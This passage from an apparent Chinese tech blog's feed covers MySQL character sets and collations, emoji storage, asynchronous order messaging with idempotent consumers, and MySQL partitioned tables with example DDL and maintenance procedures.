class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 不区分大小写的表</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> <span class="string">&#x27;alice&#x27;</span>;</span><br><span class="line"><span class="comment">-- 能查到 name=&#x27;Alice&#x27; 的记录</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 需要区分大小写时</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> <span class="string">&#x27;alice&#x27;</span> <span class="keyword">COLLATE</span> utf8mb4_bin;</span><br><span class="line"><span class="comment">-- 只查到 name=&#x27;alice&#x27; 的记录</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-2-排序影响"><a href="#6-2-排序影响" class="headerlink" title="6.2 排序影响"></a>6.2 排序影响</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 不区分大小写排序</span></span><br><span class="line"><span class="keyword">SELECT</span> name <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">ORDER</span> <span class="keyword">BY</span> name;</span><br><span class="line"><span class="comment">-- Alice, bob, Charlie</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 区分大小写排序</span></span><br><span class="line"><span class="keyword">SELECT</span> name <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">ORDER</span> <span class="keyword">BY</span> name <span class="keyword">COLLATE</span> utf8mb4_bin;</span><br><span class="line"><span class="comment">-- Alice, Charlie, bob（大写在前）</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="6-3-索引使用"><a href="#6-3-索引使用" class="headerlink" title="6.3 索引使用"></a>6.3 索引使用</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 表使用utf8mb4_general_ci</span></span><br><span class="line"><span class="comment">-- 查询使用utf8mb4_bin</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> <span class="string">&#x27;Alice&#x27;</span> <span class="keyword">COLLATE</span> utf8mb4_bin;</span><br><span class="line"><span class="comment">-- 可能无法使用索引！（排序规则不一致）</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 解决：确保查询和字段排序规则一致</span></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> <span class="string">&#x27;Alice&#x27;</span>;</span><br></pre></td></tr></table></figure><h2 id="七、emoji存储实践"><a href="#七、emoji存储实践" class="headerlink" title="七、emoji存储实践"></a>七、emoji存储实践</h2><p>#</p><h2 id="7-1-确保完整支持"><a href="#7-1-确保完整支持" class="headerlink" title="7.1 确保完整支持"></a>7.1 确保完整支持</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 1. 数据库字符集</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">CREATE</span> DATABASE mydb;</span><br><span class="line"><span class="comment">-- 确保是utf8mb4</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 2. 表字符集</span></span><br><span class="line"><span class="keyword">SHOW</span> <span class="keyword">CREATE TABLE</span> <span class="keyword">user</span>;</span><br><span class="line"><span class="comment">-- 确保是utf8mb4</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 3. 连接字符集</span></span><br><span class="line"><span class="keyword">SHOW</span> VARIABLES <span class="keyword">LIKE</span> <span class="string">&#x27;character_set_%&#x27;</span>;</span><br><span class="line"><span class="comment">-- 确保client、connection、results都是utf8mb4</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 4. JDBC连接</span></span><br><span class="line"><span class="comment">-- jdbc:mysql://host:3306/mydb?characterEncoding=utf8mb4</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="7-2-存储emoji示例"><a href="#7-2-存储emoji示例" class="headerlink" title="7.2 存储emoji示例"></a>7.2 存储emoji示例</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> comments (</span><br><span class="line">    id <span class="type">BIGINT</span> AUTO_INCREMENT <span class="keyword">PRIMARY KEY</span>,</span><br><span class="line">    user_id <span class="type">BIGINT</span>,</span><br><span class="line">    content <span class="type">VARCHAR</span>(<span class="number">500</span>) <span class="keyword">CHARACTER SET</span> utf8mb4,</span><br><span class="line">    create_time DATETIME</span><br><span class="line">) ENGINE<span class="operator">=</span>InnoDB <span class="keyword">DEFAULT</span> CHARSET<span class="operator">=</span>utf8mb4;</span><br><span class="line"></span><br><span class="line"><span class="keyword">INSERT INTO</span> comments (user_id, content) <span class="keyword">VALUES</span> </span><br><span class="line">(<span class="number">1</span>, <span class="string">&#x27;Hello 😀 世界 🌍&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> comments;</span><br><span class="line"><span class="comment">-- 正常显示emoji</span></span><br></pre></td></tr></table></figure><h2 id="八、总结"><a href="#八、总结" class="headerlink" title="八、总结"></a>八、总结</h2><table><thead><tr><th>配置项</th><th>推荐值</th><th>说明</th></tr></thead><tbody><tr><td>字符集</td><td>utf8mb4</td><td>完整支持Unicode，包括emoji</td></tr><tr><td>排序规则</td><td>utf8mb4_0900_ai_ci</td><td>MySQL 8.0默认，准确性好</td></tr><tr><td>索引排序</td><td>utf8mb4_bin</td><td>需要区分大小写时使用</td></tr></tbody></table><table><thead><tr><th>问题</th><th>原因</th><th>解决</th></tr></thead><tbody><tr><td>乱码</td><td>连接字符集不一致</td><td>SET NAMES utf8mb4</td></tr><tr><td>emoji报错</td><td>使用utf8而非utf8mb4</td><td>升级到utf8mb4</td></tr><tr><td>索引失效</td><td>排序规则不一致</td><td>统一排序规则</td></tr><tr><td>截断</td><td>字符长度计算错误</td><td>使用CHAR_LENGTH</td></tr></tbody></table><p>字符集管理的核心要点：</p><ol><li>统一使用utf8mb4字符集</li><li>确保连接字符集和存储字符集一致</li><li>选择合适的排序规则</li><li>升级旧系统时注意索引长度限制</li></ol><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型</p></li><li><p>SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN</p></li><li><p>事务隔离级别的选择：根据业务需求选择合适的级别</p></li><li><p>常见的锁问题：行锁、表锁、死锁的处理</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。</p>]]></content>
      
      
      <categories>
          
          <category> MySQL </category>
          
      </categories>
      
      
        <tags>
            
            <tag> MySQL </tag>
            
            <tag> 数据库 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>订单超时取消如何实现</title>
      <link href="//ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/"/>
      <url>//ding-dan-chao-shi-qu-xiao-ru-he-shi-xian/</url>
      
        <content type="html"><![CDATA[<h1 id="订单超时取消如何实现"><a href="#订单超时取消如何实现" class="headerlink" title="订单超时取消如何实现"></a>订单超时取消如何实现</h1><p>订单超时取消如何实现是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 系统设计 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> 系统设计 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>MySQL分区表的使用场景</title>
      <link href="//mysql-partition-table-usage/"/>
      <url>//mysql-partition-table-usage/</url>
      
        <content type="html"><![CDATA[<h1 id="MySQL分区表的使用场景"><a href="#MySQL分区表的使用场景" class="headerlink" title="MySQL分区表的使用场景"></a>MySQL分区表的使用场景</h1><p>MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。</p><h2 id="一、什么是分区表"><a href="#一、什么是分区表" class="headerlink" title="一、什么是分区表"></a>一、什么是分区表</h2><p>#</p><h2 id="1-1-分区表概念"><a href="#1-1-分区表概念" class="headerlink" title="1.1 分区表概念"></a>1.1 分区表概念</h2><p>将单张表的数据在物理上分散存储到多个分区，但逻辑上仍是一张表。</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">逻辑视角：</span><br><span class="line">  SELECT * FROM logs;</span><br><span class="line"></span><br><span class="line">物理存储：</span><br><span class="line">  logs#P#p202401.ibd</span><br><span class="line">  logs#P#p202402.ibd</span><br><span class="line">  logs#P#p202403.ibd</span><br><span class="line">  logs#P#p202404.ibd</span><br></pre></td></tr></table></figure><p>#</p><h2 id="1-2-分区-vs-分表"><a href="#1-2-分区-vs-分表" class="headerlink" title="1.2 分区 vs 分表"></a>1.2 分区 vs 分表</h2><table><thead><tr><th>特性</th><th>分区表</th><th>手动分表</th></tr></thead><tbody><tr><td>应用改造</td><td>无</td><td>需要</td></tr><tr><td>跨分区查询</td><td>自动支持</td><td>应用层实现</td></tr><tr><td>扩展性</td><td>受单实例限制</td><td>可跨实例</td></tr><tr><td>维护复杂度</td><td>低</td><td>高</td></tr><tr><td>性能上限</td><td>单实例上限</td><td>可线性扩展</td></tr></tbody></table><h2 id="二、分区类型"><a href="#二、分区类型" class="headerlink" title="二、分区类型"></a>二、分区类型</h2><p>#</p><h2 id="2-1-RANGE分区"><a href="#2-1-RANGE分区" class="headerlink" title="2.1 RANGE分区"></a>2.1 RANGE分区</h2><p>按连续范围分区，最常用：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> logs (</span><br><span class="line">    id <span class="type">BIGINT</span> AUTO_INCREMENT,</span><br><span class="line">    log_time DATETIME <span class="keyword">NOT NULL</span>,</span><br><span class="line">    message <span class="type">VARCHAR</span>(<span class="number">500</span>),</span><br><span class="line">    <span class="keyword">PRIMARY KEY</span> (id, log_time)</span><br><span class="line">) <span class="keyword">PARTITION</span> <span class="keyword">BY</span> <span class="keyword">RANGE</span> (<span class="keyword">YEAR</span>(log_time)) (</span><br><span class="line">    <span class="keyword">PARTITION</span> p2022 <span class="keyword">VALUES</span> LESS THAN (<span class="number">2023</span>),</span><br><span class="line">    <span class="keyword">PARTITION</span> p2023 <span class="keyword">VALUES</span> LESS THAN (<span class="number">2024</span>),</span><br><span class="line">    <span class="keyword">PARTITION</span> p2024 <span class="keyword">VALUES</span> LESS THAN (<span class="number">2025</span>),</span><br><span class="line">    <span class="keyword">PARTITION</span> p_future <span class="keyword">VALUES</span> LESS THAN MAXVALUE</span><br><span class="line">);</span><br></pre></td></tr></table></figure><p><strong>适用场景</strong>：</p><ul><li>时间序列数据（日志、订单、监控数据）</li><li>按日期归档和清理</li></ul><p>#</p><h2 id="2-2-LIST分区"><a href="#2-2-LIST分区" class="headerlink" title="2.2 LIST分区"></a>2.2 LIST分区</h2><p>按离散值分区：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> <span class="keyword">user</span> (</span><br><span class="line">    id <span class="type">INT</span>,</span><br><span class="line">    region <span class="type">VARCHAR</span>(<span class="number">20</span>),</span><br><span class="line">    name <span class="type">VARCHAR</span>(<span class="number">50</span>)</span><br><span class="line">) <span class="keyword">PARTITION</span> <span class="keyword">BY</span> LIST COLUMNS(region) (</span><br><span class="line">    <span class="keyword">PARTITION</span> p_north <span class="keyword">VALUES</span> <span class="keyword">IN</span> (<span class="string">&#x27;北京&#x27;</span>, <span class="string">&#x27;天津&#x27;</span>, <span class="string">&#x27;河北&#x27;</span>),</span><br><span class="line">    <span class="keyword">PARTITION</span> p_east <span class="keyword">VALUES</span> <span class="keyword">IN</span> (<span class="string">&#x27;上海&#x27;</span>, <span class="string">&#x27;江苏&#x27;</span>, <span class="string">&#x27;浙江&#x27;</span>),</span><br><span class="line">    <span class="keyword">PARTITION</span> p_south <span class="keyword">VALUES</span> <span class="keyword">IN</span> (<span class="string">&#x27;广东&#x27;</span>, <span class="string">&#x27;福建&#x27;</span>, <span class="string">&#x27;海南&#x27;</span>),</span><br><span class="line">    <span class="keyword">PARTITION</span> p_other <span class="keyword">VALUES</span> <span class="keyword">IN</span> (<span class="keyword">DEFAULT</span>)</span><br><span class="line">);</span><br></pre></td></tr></table></figure><p><strong>适用场景</strong>：</p><ul><li>按地区、状态等离散值分组</li><li>数据有明显分类特征</li></ul><p>#</p><h2 id="2-3-HASH分区"><a href="#2-3-HASH分区" class="headerlink" title="2.3 HASH分区"></a>2.3 HASH分区</h2><p>按哈希值均匀分布：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> orders (</span><br><span class="line">    order_id <span class="type">BIGINT</span>,</span><br><span class="line">    user_id <span class="type">BIGINT</span>,</span><br><span class="line">    amount <span class="type">DECIMAL</span>(<span class="number">10</span>,<span class="number">2</span>)</span><br><span class="line">) <span class="keyword">PARTITION</span> <span class="keyword">BY</span> HASH(user_id) PARTITIONS <span class="number">8</span>;</span><br></pre></td></tr></table></figure><p><strong>适用场景</strong>：</p><ul><li>数据分布要求均匀</li><li>没有明显的时间或分类特征</li></ul><p>#</p><h2 id="2-4-KEY分区"><a href="#2-4-KEY分区" class="headerlink" title="2.4 KEY分区"></a>2.4 KEY分区</h2><p>类似HASH，但使用MySQL内置哈希函数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> <span class="keyword">user</span> (</span><br><span class="line">    id <span class="type">INT</span>,</span><br><span class="line">    name <span class="type">VARCHAR</span>(<span class="number">50</span>)</span><br><span class="line">) <span class="keyword">PARTITION</span> <span class="keyword">BY</span> KEY() PARTITIONS <span class="number">4</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-5-子分区（复合分区）"><a href="#2-5-子分区（复合分区）" class="headerlink" title="2.5 子分区（复合分区）"></a>2.5 子分区（复合分区）</h2><p>先按RANGE分区，再按HASH子分区：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> logs (</span><br><span class="line">    id <span class="type">BIGINT</span>,</span><br><span class="line">    log_time DATETIME,</span><br><span class="line">    message TEXT</span><br><span class="line">) <span class="keyword">PARTITION</span> <span class="keyword">BY</span> <span class="keyword">RANGE</span> (<span class="keyword">YEAR</span>(log_time))</span><br><span class="line">SUBPARTITION <span class="keyword">BY</span> HASH(<span class="keyword">MONTH</span>(log_time))</span><br><span class="line">SUBPARTITIONS <span class="number">12</span> (</span><br><span class="line">    <span class="keyword">PARTITION</span> p2023 <span class="keyword">VALUES</span> LESS THAN (<span class="number">2024</span>),</span><br><span class="line">    <span class="keyword">PARTITION</span> p2024 <span class="keyword">VALUES</span> LESS THAN (<span class="number">2025</span>)</span><br><span class="line">);</span><br></pre></td></tr></table></figure><h2 id="三、分区表的优势"><a href="#三、分区表的优势" class="headerlink" title="三、分区表的优势"></a>三、分区表的优势</h2><p>#</p><h2 id="3-1-查询优化"><a href="#3-1-查询优化" class="headerlink" title="3.1 查询优化"></a>3.1 查询优化</h2><p><strong>分区裁剪（Partition Pruning）</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> logs <span class="keyword">WHERE</span> log_time <span class="operator">&gt;=</span> <span class="string">&#x27;2024-01-01&#x27;</span> <span class="keyword">AND</span> log_time <span class="operator">&lt;</span> <span class="string">&#x27;2024-02-01&#x27;</span>;</span><br></pre></td></tr></table></figure><p>MySQL自动只扫描p202401分区，其他分区不读。</p><p>验证裁剪：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line">EXPLAIN PARTITIONS <span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> logs </span><br><span class="line"><span class="keyword">WHERE</span> log_time <span class="operator">&gt;=</span> <span class="string">&#x27;2024-01-01&#x27;</span> <span class="keyword">AND</span> log_time <span class="operator">&lt;</span> <span class="string">&#x27;2024-02-01&#x27;</span>;</span><br><span class="line"><span class="comment">-- partitions列显示: p202401</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-快速删除"><a href="#3-2-快速删除" class="headerlink" title="3.2 快速删除"></a>3.2 快速删除</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 传统方式：DELETE需要逐行删除，写大量undo log</span></span><br><span class="line"><span class="keyword">DELETE</span> <span class="keyword">FROM</span> logs <span class="keyword">WHERE</span> log_time <span class="operator">&lt;</span> <span class="string">&#x27;2023-01-01&#x27;</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 分区方式：直接删除分区文件，瞬间完成</span></span><br><span class="line"><span class="keyword">ALTER TABLE</span> logs <span class="keyword">DROP</span> <span class="keyword">PARTITION</span> p2022;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-高效归档"><a href="#3-3-高效归档" class="headerlink" title="3.3 高效归档"></a>3.3 高效归档</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 导出分区数据</span></span><br><span class="line"><span class="keyword">ALTER TABLE</span> logs EXCHANGE <span class="keyword">PARTITION</span> p2023 <span class="keyword">WITH</span> <span class="keyword">TABLE</span> logs_archive_2023;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 归档表可以单独存储到慢速磁盘</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> logs_archive_2023 (...) TABLESPACE <span class="operator">=</span> archive_ts;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-4-独立维护"><a href="#3-4-独立维护" class="headerlink" title="3.4 独立维护"></a>3.4 独立维护</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 单独优化某个分区</span></span><br><span class="line"><span class="keyword">ALTER TABLE</span> logs OPTIMIZE <span class="keyword">PARTITION</span> p2024;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 单独重建某个分区</span></span><br><span class="line"><span class="keyword">ALTER TABLE</span> logs REBUILD <span class="keyword">PARTITION</span> p2024;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 单独分析某个分区</span></span><br><span class="line"><span class="keyword">ALTER TABLE</span> logs ANALYZE <span class="keyword">PARTITION</span> p2024;</span><br></pre></td></tr></table></figure><h2 id="四、分区表的使用限制"><a href="#四、分区表的使用限制" class="headerlink" title="四、分区表的使用限制"></a>四、分区表的使用限制</h2><p>#</p><h2 id="4-1-主键和唯一索引限制"><a href="#4-1-主键和唯一索引限制" class="headerlink" title="4.1 主键和唯一索引限制"></a>4.1 主键和唯一索引限制</h2><p><strong>分区键必须是主键/唯一索引的一部分</strong>：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 正确：分区键log_time是主键的一部分</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> logs (</span><br><span class="line">    id <span class="type">BIGINT</span>,</span><br><span class="line">    log_time DATETIME,</span><br><span class="line">    <span class="keyword">PRIMARY KEY</span> (id, log_time)</span><br><span class="line">) <span class="keyword">PARTITION</span> <span class="keyword">BY</span> <span class="keyword">RANGE</span> (<span class="keyword">YEAR</span>(log_time)) ...</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 错误：分区键不是主键的一部分</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> logs (</span><br><span class="line">    id <span class="type">BIGINT</span> <span class="keyword">PRIMARY KEY</span>,</span><br><span class="line">    log_time DATETIME</span><br><span class="line">) <span class="keyword">PARTITION</span> <span class="keyword">BY</span> <span class="keyword">RANGE</span> (<span class="keyword">YEAR</span>(log_time)) ...</span><br><span class="line"><span class="comment">-- ERROR 1503: A PRIMARY KEY must include all columns in the table&#x27;s partitioning function</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-外键限制"><a href="#4-2-外键限制" class="headerlink" title="4.2 外键限制"></a>4.2 外键限制</h2><p>分区表不支持外键：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 错误</span></span><br><span class="line"><span class="keyword">CREATE TABLE</span> orders (...) <span class="keyword">PARTITION</span> <span class="keyword">BY</span> <span class="keyword">RANGE</span> ...</span><br><span class="line"><span class="keyword">FOREIGN KEY</span> (user_id) <span class="keyword">REFERENCES</span> <span class="keyword">user</span>(id);</span><br><span class="line"><span class="comment">-- ERROR 1217: Cannot add foreign key constraint</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-3-函数限制"><a href="#4-3-函数限制" class="headerlink" title="4.3 函数限制"></a>4.3 函数限制</h2><p>分区表达式中可用的函数有限：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 允许：YEAR(), TO_DAYS(), TO_SECONDS(), MONTH(), ...</span></span><br><span class="line"><span class="keyword">PARTITION</span> <span class="keyword">BY</span> <span class="keyword">RANGE</span> (<span class="keyword">YEAR</span>(log_time))</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 不允许：自定义函数</span></span><br><span class="line"><span class="keyword">PARTITION</span> <span class="keyword">BY</span> <span class="keyword">RANGE</span> (my_func(log_time))  <span class="comment">-- 错误</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-4-性能限制"><a href="#4-4-性能限制" class="headerlink" title="4.4 性能限制"></a>4.4 性能限制</h2><ul><li>分区过多（&gt;100）影响性能</li><li>非分区键查询需要扫描所有分区</li><li>分区表打开文件数增加</li></ul><h2 id="五、分区表实践案例"><a href="#五、分区表实践案例" class="headerlink" title="五、分区表实践案例"></a>五、分区表实践案例</h2><p>#</p><h2 id="5-1-日志表按月分区"><a href="#5-1-日志表按月分区" class="headerlink" title="5.1 日志表按月分区"></a>5.1 日志表按月分区</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">CREATE TABLE</span> system_logs (</span><br><span class="line">    id <span class="type">BIGINT</span> UNSIGNED AUTO_INCREMENT,</span><br><span class="line">    create_time DATETIME <span class="keyword">NOT NULL</span>,</span><br><span class="line">    level <span class="type">VARCHAR</span>(<span class="number">10</span>) <span class="keyword">NOT NULL</span>,</span><br><span class="line">    <span class="keyword">module</span> <span class="type">VARCHAR</span>(<span class="number">50</span>),</span><br><span class="line">    message TEXT,</span><br><span class="line">    <span class="keyword">PRIMARY KEY</span> (id, create_time),</span><br><span class="line">    KEY idx_level_time (level, create_time)</span><br><span class="line">) ENGINE<span class="operator">=</span>InnoDB</span><br><span class="line"><span class="keyword">PARTITION</span> <span class="keyword">BY</span> <span class="keyword">RANGE</span> (TO_DAYS(create_time)) (</span><br><span class="line">    <span class="keyword">PARTITION</span> p202401 <span class="keyword">VALUES</span> LESS THAN (TO_DAYS(<span class="string">&#x27;2024-02-01&#x27;</span>)),</span><br><span class="line">    <span class="keyword">PARTITION</span> p202402 <span class="keyword">VALUES</span> LESS THAN (TO_DAYS(<span class="string">&#x27;2024-03-01&#x27;</span>)),</span><br><span class="line">    <span class="keyword">PARTITION</span> p202403 <span class="keyword">VALUES</span> LESS THAN (TO_DAYS(<span class="string">&#x27;2024-04-01&#x27;</span>)),</span><br><span class="line">    <span class="keyword">PARTITION</span> p_future <span class="keyword">VALUES</span> LESS THAN MAXVALUE</span><br><span class="line">);</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-2-自动维护脚本"><a href="#5-2-自动维护脚本" class="headerlink" title="5.2 自动维护脚本"></a>5.2 自动维护脚本</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 每月初添加新分区</span></span><br><span class="line">DELIMITER <span class="operator">/</span><span class="operator">/</span></span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">PROCEDURE</span> add_month_partition()</span><br><span class="line"><span class="keyword">BEGIN</span></span><br><span class="line">    <span class="keyword">DECLARE</span> next_month <span class="type">DATE</span>;</span><br><span class="line">    <span class="keyword">DECLARE</span> partition_name <span class="type">VARCHAR</span>(<span class="number">20</span>);</span><br><span class="line">    <span class="keyword">DECLARE</span> less_than_value <span class="type">INT</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">SET</span> next_month <span class="operator">=</span> DATE_ADD(DATE_FORMAT(CURDATE() <span class="operator">+</span> <span class="type">INTERVAL</span> <span class="number">1</span> <span class="keyword">MONTH</span>, <span class="string">&#x27;%Y-%m-01&#x27;</span>), <span class="type">INTERVAL</span> <span class="number">1</span> <span class="keyword">MONTH</span>);</span><br><span class="line">    <span class="keyword">SET</span> partition_name <span class="operator">=</span> CONCAT(<span class="string">&#x27;p&#x27;</span>, DATE_FORMAT(CURDATE() <span class="operator">+</span> <span class="type">INTERVAL</span> <span class="number">1</span> <span class="keyword">MONTH</span>, <span class="string">&#x27;%Y%m&#x27;</span>));</span><br><span class="line">    <span class="keyword">SET</span> less_than_value <span class="operator">=</span> TO_DAYS(next_month);</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">SET</span> <span class="variable">@sql</span> <span class="operator">=</span> CONCAT(</span><br><span class="line">        <span class="string">&#x27;ALTER TABLE system_logs REORGANIZE PARTITION p_future INTO (</span></span><br><span class="line"><span class="string">            PARTITION &#x27;</span>, partition_name, <span class="string">&#x27; VALUES LESS THAN (&#x27;</span>, less_than_value, <span class="string">&#x27;),</span></span><br><span class="line"><span class="string">            PARTITION p_future VALUES LESS THAN MAXVALUE</span></span><br><span class="line"><span class="string">        )&#x27;</span></span><br><span class="line">    );</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">PREPARE</span> stmt <span class="keyword">FROM</span> <span class="variable">@sql</span>;</span><br><span class="line">    <span class="keyword">EXECUTE</span> stmt;</span><br><span class="line">    <span class="keyword">DEALLOCATE</span> <span class="keyword">PREPARE</span> stmt;</span><br><span class="line"><span class="keyword">END</span> <span class="operator">/</span><span class="operator">/</span></span><br><span class="line">DELIMITER ;</span><br><span class="line"></span><br><span class="line"><span class="comment">-- 创建定时事件</span></span><br><span class="line"><span class="keyword">CREATE</span> EVENT add_partition_event</span><br><span class="line"><span class="keyword">ON</span> SCHEDULE <span class="keyword">EVERY</span> <span class="number">1</span> <span class="keyword">MONTH</span></span><br><span class="line">STARTS <span class="string">&#x27;2024-02-01 00:00:00&#x27;</span></span><br><span class="line">DO <span class="keyword">CALL</span> add_month_partition();</span><br></pre></td></tr></table></figure><p>#</p><h2 id="5-3-定期清理旧分区"><a href="#5-3-定期清理旧分区" class="headerlink" title="5.3 定期清理旧分区"></a>5.3 定期清理旧分区</h2><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="comment">-- 删除3个月前的分区</span></span><br><span class="line">DELIMITER <span class="operator">/</span><span class="operator">/</span></span><br><span class="line"><span class="keyword">CREATE</span> <span class="keyword">PROCEDURE</span> drop_old_partitions()</span><br><span class="line"><span class="keyword">BEGIN</span></span><br><span class="line">    <span class="keyword">DECLARE</span> done <span class="type">INT</span> <span class="keyword">DEFAULT</span> <span class="literal">FALSE</span>;</span><br><span class="line">    <span class="keyword">DECLARE</span> partition_name <span class="type">VARCHAR</span>(<span class="number">20</span>);</span><br><span class="line">    <span class="keyword">DECLARE</span> cur <span class="keyword">CURSOR</span> <span class="keyword">FOR</span> </span><br><span class="line">        <span class="keyword">SELECT</span> partition_name </span><br><span class="line">        <span class="keyword">FROM</span> information_schema.partitions </span><br><span class="line">        <span class="keyword">WHERE</span> table_name <span class="operator">=</span> <span class="string">&#x27;system_logs&#x27;</span> </span><br><span class="line">        <span class="keyword">AND</span> partition_name <span class="operator">!=</span> <span class="string">&#x27;p_future&#x27;</span></span><br><span class="line">        <span class="keyword">AND</span> partition_name <span class="operator">&lt;</span> CONCAT(<span class="string">&#x27;p&#x27;</span>, DATE_FORMAT(CURDATE() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="number">3</span> <span class="keyword">MONTH</span>, <span class="string">&#x27;%Y%m&#x27;</span>));</span><br><span class="line">    <span 